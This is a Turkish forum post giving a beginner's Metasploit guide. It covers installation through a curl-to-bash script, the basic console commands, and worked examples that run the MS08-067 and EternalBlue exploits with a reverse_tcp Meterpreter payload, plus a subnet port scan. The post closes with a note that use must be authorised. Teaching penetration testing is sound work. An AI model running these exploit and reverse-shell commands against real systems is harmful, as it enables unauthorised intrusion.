Metasploit Temel Düzey Kullanım Rehberi

io

Yetkili
Yönetici
Katılım
30 Temmuz 2024
Mesajlar
20
Tepkime puanı
17
Metasploit, siber güvenlik uzmanları ve etik hackerlar tarafından kullanılan güçlü bir araçtır. Bu rehberde, Metasploit’in temel işlevlerini ve nasıl kullanılacağını adım adım ele alacağız.

1. Metasploit’i Kurma

Metasploit'i kullanmaya başlamadan önce, kurulum yapmanız gerekmektedir. Genellikle, Metasploit Framework Kali Linux gibi siber güvenlik odaklı dağıtımlarla birlikte gelir. Ancak, Windows veya diğer Linux dağıtımlarında da kurabilirsiniz.

Kali Linux: Metasploit genellikle Kali Linux ile birlikte gelir. Terminali açıp msfconsole komutunu kullanarak başlatabilirsiniz.
Diğer Linux Dağıtımları ve Windows:
Kod:
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate | bash

2. Metasploit’i Başlatma

Kurulumdan sonra, Metasploit’i başlatmak için terminalde şu komutu kullanın:
Kod:
msfconsole
Bu, Metasploit komut satırı arayüzünü başlatır.

3. Temel Komutlar

Metasploit’de kullanabileceğiniz bazı temel komutlar şunlardır:
search: Belirli bir zafiyet veya exploit bulmak için kullanılır.
Kod:
search <araştırmak istediğiniz terim>

use: Belirli bir modülü seçmek için kullanılır.
Kod:
use <modül adı>

show options: Seçilen modülün yapılandırma seçeneklerini gösterir.
Kod:
show options

set: Modül için seçenekleri ayarlamak için kullanılır.
Kod:
set <seçenek> <değer>

exploit: Seçilen exploit’i çalıştırır.
Kod:
exploit

4. Basit Bir Exploit Kullanımı

Örnek olarak, bir Windows hedefine basit bir exploit uygulayalım. Burada, windows/smb/ms08_067_netapi modülünü kullanacağız.

Modülü Seçin:
Kod:
use exploit/windows/smb/ms08_067_netapi

Modül Seçeneklerini Görüntüleyin:
Kod:
show options

Gerekli Seçenekleri Ayarlayın:
Kod:
set RHOST <hedef IP adresi>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <saldırgan IP adresi>

Exploit’i Çalıştırın:
Kod:
exploit

5. Kullanım Örnekleri ve Kodlar

İşte Metasploit kullanarak temel bir exploit örneği:
Kod:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.101
exploit

Bilgi Toplama İçin:
Kod:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 10
run

-----------------------------------------------------------------------------------------------

Not : Metasploit güçlü bir araçtır ve etik kullanımı önemlidir. Araçları sadece izinli testlerde ve etik kurallara uygun olarak kullanmalısınız. İzinsiz erişim veya saldırı yapmak yasadışıdır ve ciddi yasal sonuçlar doğurabilir.
 
Üst Alt